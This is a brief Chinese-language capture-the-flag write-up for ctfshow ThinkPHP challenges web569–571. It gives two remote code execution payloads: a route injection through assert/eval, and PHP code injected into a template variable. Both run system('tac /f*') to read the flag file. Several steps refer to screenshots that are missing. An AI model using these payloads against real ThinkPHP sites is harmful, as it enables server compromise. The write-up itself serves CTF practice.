[PHP知识库]ctfshowThinkphp

web569

web570

/index.php/Home/ctfshow/assert/eval($_GET[1])/?1=system("tac%20/f*");

闭包路由：参考官方文档或博客

web571

给了源码，找到一处可以进行传参的控制器,传个参数在这，打个断点调下：

接着跟进去：

接着跟进：

我们最开始传的参数在content变量里，跟进到if(这里有个对于当前使用的一个模板的判断，由于不知道题目使用的是哪种所以我就用0,1了图方便)：

往下走：

成功找到后门，content变量可控

/index.php/Home/index/index/?n=<?=%20system("tac%20/f*");?>